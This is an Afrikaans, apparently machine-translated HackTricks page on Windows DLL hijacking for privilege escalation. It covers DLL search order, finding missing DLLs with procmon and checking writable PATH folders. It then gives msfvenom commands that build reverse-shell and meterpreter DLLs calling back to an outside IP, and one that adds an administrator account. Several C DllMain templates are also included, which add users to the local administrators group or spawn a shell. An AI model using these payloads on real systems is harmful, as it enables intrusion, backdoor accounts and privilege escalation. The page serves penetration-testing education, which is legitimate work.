Dll Hijacking

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Bug bounty wenk: meld aan vir Intigriti, 'n premium bug bounty platform geskep deur hackers, vir hackers! Sluit by ons aan by https://go.intigriti.com/hacktricks vandag, en begin verdien bounties tot $100,000!

Basiese Inligting

DLL Hijacking behels die manipulasie van 'n vertroude toepassing om 'n kwaadwillige DLL te laai. Hierdie term sluit verskeie taktieke in soos DLL Spoofing, Injection, en Side-Loading. Dit word hoofsaaklik gebruik vir kode-uitvoering, om volharding te bereik, en, minder algemeen, privilige-escalasie. Ten spyte van die fokus op escalasie hier, bly die metode van hijacking konsekwent oor doelwitte.

Algemene Tegnieke

Verskeie metodes word gebruik vir DLL hijacking, elk met sy doeltreffendheid afhangende van die toepassing se DLL-laai strategie:

  1. DLL Vervanging: Om 'n egte DLL met 'n kwaadwillige een te vervang, opsioneel met DLL Proxying om die oorspronklike DLL se funksionaliteit te behou.

  2. DLL Soekorde Hijacking: Om die kwaadwillige DLL in 'n soekpad voor die legitieme een te plaas, wat die toepassing se soekpatroon benut.

  3. Phantom DLL Hijacking: Om 'n kwaadwillige DLL te skep vir 'n toepassing om te laai, dink dat dit 'n nie-bestaande vereiste DLL is.

  4. DLL Hergidsering: Om soekparameters soos %PATH% of .exe.manifest / .exe.local lêers te wysig om die toepassing na die kwaadwillige DLL te lei.

  5. WinSxS DLL Vervanging: Om die legitieme DLL met 'n kwaadwillige teenhanger in die WinSxS-gids te vervang, 'n metode wat dikwels geassosieer word met DLL side-loading.

  6. Relatiewe Pad DLL Hijacking: Om die kwaadwillige DLL in 'n gebruiker-beheerde gids met die gekopieerde toepassing te plaas, wat lyk soos Binary Proxy Execution tegnieke.

Vind ontbrekende Dlls

Die mees algemene manier om ontbrekende Dlls binne 'n stelsel te vind, is om procmon van sysinternals te loop, die volgende 2 filters in te stel:

en net die Lêerstelselaktiwiteit te wys:

As jy op soek is na ontbrekende dlls in die algemeen, moet jy dit vir 'n paar sekondes laat loop. As jy op soek is na 'n ontbrekende dll binne 'n spesifieke uitvoerbare, moet jy 'n ander filter soos "Prosesnaam" "bevat" "<exec naam>" instel, dit uitvoer, en stop om gebeurtenisse te vang.

Exploiting Missing Dlls

Om privilige te verhoog, is die beste kans wat ons het om 'n dll te kan skryf wat 'n privilige proses sal probeer laai in een van die plekke waar dit gesoek gaan word. Daarom sal ons in staat wees om 'n dll te skryf in 'n gids waar die dll gesoek word voordat die gids waar die oorspronklike dll is (vreemde geval), of ons sal in staat wees om in 'n gids te skryf waar die dll gesoek gaan word en die oorspronklike dll nie in enige gids bestaan nie.

Dll Soekorde

Binne die Microsoft dokumentasie kan jy vind hoe die Dlls spesifiek gelaai word.

Windows toepassings soek na DLLs deur 'n stel vooraf gedefinieerde soekpade te volg, wat aan 'n spesifieke volgorde voldoen. Die probleem van DLL hijacking ontstaan wanneer 'n skadelike DLL strategies in een van hierdie gidse geplaas word, wat verseker dat dit gelaai word voordat die egte DLL. 'n Oplossing om dit te voorkom, is om te verseker dat die toepassing absolute pades gebruik wanneer dit na die DLLs verwys wat dit benodig.

Jy kan die DLL soekorde op 32-bit stelsels hieronder sien:

  1. Die gids waaruit die toepassing gelaai is.

  2. Die stelseldirectory. Gebruik die GetSystemDirectory funksie om die pad van hierdie gids te kry.(C:\Windows\System32)

  3. Die 16-bit stelseldirectory. Daar is geen funksie wat die pad van hierdie gids verkry nie, maar dit word gesoek. (C:\Windows\System)

  4. Die Windows-gids. Gebruik die GetWindowsDirectory funksie om die pad van hierdie gids te kry.

  5. (C:\Windows)

  6. Die huidige gids.

  7. Die gidse wat in die PATH omgewing veranderlike gelys is. Let daarop dat dit nie die per-toepassing pad insluit wat deur die App Paths register sleutel gespesifiseer is nie. Die App Paths sleutel word nie gebruik wanneer die DLL soekpad bereken word nie.

Dit is die standaard soekorde met SafeDllSearchMode geaktiveer. Wanneer dit gedeaktiveer is, styg die huidige gids na die tweede plek. Om hierdie funksie te deaktiveer, skep die HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode registerwaarde en stel dit op 0 (standaard is geaktiveer).

As die LoadLibraryEx funksie met LOAD_WITH_ALTERED_SEARCH_PATH aangeroep word, begin die soek in die gids van die uitvoerbare module wat LoadLibraryEx laai.

Laastens, let daarop dat 'n dll gelaai kan word wat die absolute pad aandui in plaas van net die naam. In daardie geval sal daardie dll slegs in daardie pad gesoek word (as die dll enige afhanklikhede het, sal hulle gesoek word soos net gelaai deur naam).

Daar is ander maniere om die soekorde te verander, maar ek gaan dit hier nie verduidelik nie.

Uitsonderings op dll soekorde van Windows docs

Sekere uitsonderings op die standaard DLL soekorde word in Windows dokumentasie opgemerk:

  • Wanneer 'n DLL wat sy naam deel met een wat reeds in geheue gelaai is, teëgekom word, omseil die stelsel die gewone soek. In plaas daarvan, voer dit 'n kontrole vir herleiding en 'n manifest uit voordat dit na die DLL wat reeds in geheue is, terugval. In hierdie scenario, voer die stelsel nie 'n soek vir die DLL uit nie.

  • In gevalle waar die DLL erken word as 'n kenner DLL vir die huidige Windows weergawe, sal die stelsel sy weergawe van die bekende DLL gebruik, saam met enige van sy afhanklike DLLs, en die soekproses oorslaan. Die register sleutel HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs hou 'n lys van hierdie bekende DLLs.

  • As 'n DLL afhanklikhede het, word die soek na hierdie afhanklike DLLs uitgevoer asof hulle slegs deur hul module name aangedui is, ongeag of die aanvanklike DLL deur 'n volle pad geïdentifiseer is.

Escalating Privileges

Vereistes:

  • Identifiseer 'n proses wat onder verskillende privilige (horisontale of laterale beweging) werk of sal werk, wat 'n DLL ontbreek.

  • Verseker dat skrywe toegang beskikbaar is vir enige gids waarin die DLL gesoek gaan word. Hierdie ligging kan die gids van die uitvoerbare wees of 'n gids binne die stelselpaaie.

Ja, die vereistes is moeilik om te vind aangesien dit per default 'n bietjie vreemd is om 'n bevoorregte uitvoerbare te vind wat 'n dll ontbreek en dit is selfs meer vreemd om skrywe toestemmings op 'n stelselpaaie gids te hê (jy kan nie per default nie). Maar, in verkeerd geconfigureerde omgewings is dit moontlik. In die geval dat jy gelukkig is en jy voldoen aan die vereistes, kan jy die UACME projek nagaan. Alhoewel die hoofdoel van die projek is om UAC te omseil, kan jy daar 'n PoC van 'n Dll hijacking vir die Windows weergawe vind wat jy kan gebruik (waarskynlik net die pad van die gids waar jy skrywe toestemmings het, verander).

Let daarop dat jy jou toestemmings in 'n gids kan nagaan deur:

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

En kontroleer toestemmings van alle vouers binne PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

U kan ook die invoere van 'n uitvoerbare lêer en die uitvoere van 'n dll nagaan met:

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

Vir 'n volledige gids oor hoe om Dll Hijacking te misbruik om bevoegdhede te verhoog met toestemmings om in 'n Stelselpaaie-gids te skryf, kyk:

Writable Sys Path +Dll Hijacking Privesc

Geoutomatiseerde gereedskap

Winpeas sal kyk of jy skryftoestemmings op enige gids binne die stelselpaaie het. Ander interessante geoutomatiseerde gereedskap om hierdie kwesbaarheid te ontdek, is PowerSploit funksies: Find-ProcessDLLHijack, Find-PathDLLHijack en Write-HijackDll.

Voorbeeld

In die geval dat jy 'n uitbuitbare scenario vind, is een van die belangrikste dinge om dit suksesvol te benut, om 'n dll te skep wat ten minste al die funksies wat die uitvoerbare sal invoer, uitvoer. In elk geval, let daarop dat Dll Hijacking handig is om te verhoog van Medium Integriteitsvlak na Hoë (om UAC te omseil) of van Hoë Integriteit na SYSTEM. Jy kan 'n voorbeeld vind van hoe om 'n geldige dll te skep binne hierdie dll hijacking studie gefokus op dll hijacking vir uitvoering: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows. Boonop kan jy in die volgende afdeling 'n paar basiese dll kodes vind wat nuttig kan wees as sjablone of om 'n dll met nie vereiste funksies ge-exporteer te skep.

Skep en kompileer Dlls

Dll Proxifying

Basies is 'n Dll proxy 'n Dll wat in staat is om jou kwaadwillige kode uit te voer wanneer dit gelaai word, maar ook om te bloot te stel en te werk soos verwag deur alle oproepe na die werklike biblioteek te relaye.

Met die gereedskap DLLirant of Spartacus kan jy eintlik 'n uitvoerbare program aandui en die biblioteek kies wat jy wil proxify en 'n proxified dll genereer of die Dll aandui en 'n proxified dll genereer.

Meterpreter

Kry rev shell (x64):

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Kry 'n meterpreter (x86):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Skep 'n gebruiker (x86 ek het nie 'n x64 weergawe gesien):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

Jou eie

Let daarop dat die Dll wat jy saamstel in verskeie gevalle verskeie funksies moet uitvoer wat deur die slagoffer proses gelaai gaan word, as hierdie funksies nie bestaan nie, sal die binarie nie in staat wees om hulle te laai nie en die eksploit sal misluk.

// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}

Verwysings

Foutbeloning wenk: meld aan vir Intigriti, 'n premium foutbeloning platform geskep deur hackers, vir hackers! Sluit vandag by ons aan by https://go.intigriti.com/hacktricks en begin om belonings tot $100,000 te verdien!

Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Last updated